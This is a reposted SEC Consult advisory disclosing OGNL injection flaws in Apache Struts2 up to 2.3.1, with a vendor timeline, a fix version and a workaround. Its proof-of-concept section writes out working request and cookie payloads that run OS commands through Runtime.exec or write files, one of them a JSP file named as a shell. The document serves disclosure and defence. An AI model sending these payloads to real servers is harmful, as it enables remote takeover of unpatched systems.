Apache Struts2 <= 2.3.1 Multiple Vulnerabilities


SUBMITTED BY: Guest

DATE: Nov. 25, 2013, 9:19 p.m.

FORMAT: Text only

SIZE: 9.3 kB

HITS: 2392

  1. SEC Consult Vulnerability Lab Security Advisory < 20120104-0 >
  2. =======================================================================
  3. title: Multiple critical vulnerabilities in Apache Struts2
  4. product: Apache Struts2
  5. * OpenSymphony XWork
  6. * OpenSymphony OGNL
  7. vulnerable version: 2.3.1 and below
  8. fixed version: 2.3.1.1
  9. impact: critical
  10. homepage: http://struts.apache.org/
  11. found: 2011-11-18
  12. by: Johannes Dahse, Andreas Nusser
  13. SEC Consult Vulnerability Lab
  14. https://www.sec-consult.com
  15. =======================================================================
  16. Vendor description:
  17. -------------------
  18. Apache Struts2 is a web framework for creating Java web applications. It is
  19. using the OpenSymphony XWork and OGNL libraries. By default, XWork's
  20. ParametersInterceptor treats parameter names provided to actions as OGNL
  21. expressions. A OGNL (Object Graph Navigation Language) expression is a limited
  22. language similar to Java that is tokenized and parsed by the OGNL parser which
  23. invokes appropiate Java methods. This allows e.g. convenient access to
  24. properties that have a getter/setter method implemented. By providing a
  25. parameter like "product.id=1" the OGNL parser will call the appropiate setter
  26. getProduct().setId(1) in the current action context. OGNL is also able to call
  27. arbitrary methods, constructors and access context variables. For more details
  28. please refer to http://commons.apache.org/ognl/language-guide.html.
  29. Vulnerability overview/description:
  30. -----------------------------------
  31. To prevent attackers calling arbitrary methods within parameters the flag
  32. "xwork.MethodAccessor.denyMethodExecution" is set to "true" and the
  33. SecurityMemberAccess field "allowStaticMethodAccess" is set to "false" by
  34. default. Also, to prevent access to context variables an improved character
  35. whitelist for paramteter names is applied in XWork's ParametersInterceptor since
  36. Struts 2.2.1.1:
  37. acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";
  38. Under certain circumstances these restrictions can be bypassed to execute
  39. malicious Java code.
  40. 1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)
  41. When an exception occurs while applying parameter values to properties the
  42. value is evaluated as OGNL expression. For example this occurs when setting a
  43. string value to a property with type integer. Since the values are not
  44. filtered an attacker can abuse the power of the OGNL language to execute
  45. arbitrary Java code leading to remote command execution. This issue has been
  46. reported (https://issues.apache.org/jira/browse/WW-3668) and was fixed in
  47. Struts 2.2.3.1. However the ability to execute arbitrary Java code has been
  48. overlooked.
  49. 2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)
  50. The character whitelist for parameter names is not applied to Struts
  51. CookieInterceptor. When Struts is configured to handle cookie names, an
  52. attacker can execute arbitrary system commands with static method access to
  53. Java functions. Therefore the flag "allowStaticMethodAccess" can be set to
  54. true within the request.
  55. 3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)
  56. Accessing the flag "allowStaticMethodAccess" within parameters is prohibited
  57. since Struts 2.2.3.1. An attacker can still access public constructors with
  58. only one parameter of type String to create new Java objects and access their
  59. setters with only one parameter of type String. This can be abused for example
  60. to create and overwrite arbitrary files. To inject forbidden characters to the
  61. filename an uninitialized string property can be used.
  62. 4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)
  63. While not being a security vulnerability itself, please note that applications
  64. running in developer mode and using Struts DebuggingInterceptor are prone to
  65. remote command execution as well. While applications should never run in
  66. developer mode during production, developers should be aware that doing so not
  67. only has performance issues (as documented) but also a critical security
  68. impact.
  69. Proof of concept:
  70. -----------------
  71. 1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)
  72. Given Test.java has an property "id" of type Integer or Long and appropriate
  73. getter and setter methods:
  74. long id;
  75. Given test.jsp with result name=input is configured for action "Test":
  76. struts.xml:
  77. <action name="Test" class="example.Test">
  78. <result name="input">test.jsp</result>
  79. </action>
  80. The following request will trigger an exception, the value will be evaluated
  81. as OGNL expression and arbitrary Java code can be executed:
  82. /Test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b'
  83. An attacker can also overwrite flags that will allow direct OS command execution:
  84. /Test.action?id='%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b'
  85. If test.jsp displays the property "id" the result of the Java code evaluation
  86. can be accessed:
  87. <%@ taglib prefix="s" uri="/struts-tags" %>
  88. <s:property value="id" />
  89. 2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)
  90. Given struts.xml is configured to handle all cookie names (independent of
  91. limited cookie values):
  92. <action name="Test" class="example.Test">
  93. <interceptor-ref name="cookie">
  94. <param name="cookiesName">*</param>
  95. <param name="cookiesValue">1,2</param>
  96. </interceptor-ref>
  97. <result ...>
  98. </action>
  99. The following HTTP header will execute an OS command when sent to Test.action:
  100. Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1; x[@java.lang.Runtime@getRuntime().exec('calc')]=1
  101. 3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)
  102. Given Test.java has an uninitialized property "name" of type String:
  103. String name; // +getter+setter
  104. The following request will create/overwrite the file "C:/sec-consult.txt"
  105. (empty file):
  106. /Test.action?name=C:/sec-consult.txt&x[new+java.io.FileWriter(name)]=1
  107. The existence of the property 'x' used in these examples is of no importance.
  108. 4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)
  109. Given struts.xml is configured to run in developer mode and to use the
  110. debugging interceptor:
  111. <constant name="struts.devMode" value="true" />
  112. <action name="Test" class="example.Test">
  113. <interceptor-ref name="debugging" />
  114. <result ...>
  115. </action>
  116. The following request will execute arbitrary OGNL expressions leading to remote command execution:
  117. /Test.action?debug=command&expression=%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc')
  118. Vulnerable / tested versions:
  119. -----------------------------
  120. All products using Struts2 are affected by at least one critical vulnerability
  121. listed above!
  122. Proof of Concept 1.) has been tested with Jetty-6.1.25 26 July 2010 and Struts
  123. 2.2.1.1
  124. Proof of Concepts 2.), 3.) and 4.) have been tested with Jetty-6.1.25 26 July 2010
  125. and Struts 2.2.1.1, 2.2.3.1 and 2.3.1
  126. Vendor contact timeline:
  127. ------------------------
  128. 2011-12-14: Contacting vendor through security at struts dot apache dot org
  129. 2011-12-14: Vendor reply, sending advisory draft
  130. 2011-12-14: Vendor released Apache Struts 2.3.1 in parallel
  131. 2011-12-16: Vulnerabilities confirmed in Struts 2.3.1, Vendor contacted
  132. 2011-12-16: Vendor reply, discussing workaround
  133. 2011-12-20: Discussing release of fixed version
  134. 2011-12-21: Providing additional information
  135. 2012-01-03: Vendor informs that update is ready
  136. 2012-01-03: Patch (2.3.1.1) is available
  137. Solution:
  138. ---------
  139. Update to Struts 2.3.1.1
  140. Workaround:
  141. -----------
  142. Update to Struts 2.3.1 and apply a stronger acceptedParamNames filter to the
  143. Parameters- and CookieInterceptor:
  144. acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[_']+";
  145. Don't run your applications in developer mode.
  146. Advisory URL:
  147. -------------
  148. https://www.sec-consult.com/en/advisories.html
  149. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  150. SEC Consult Unternehmensberatung GmbH
  151. Office Vienna
  152. Mooslackengasse 17
  153. A-1190 Vienna
  154. Austria
  155. Tel.: +43 / 1 / 890 30 43 - 0
  156. Fax.: +43 / 1 / 890 30 43 - 25
  157. Mail: research at sec-consult dot com
  158. https://www.sec-consult.com
  159. EOF J. Dahse, A. Nusser / 2012

comments powered by Disqus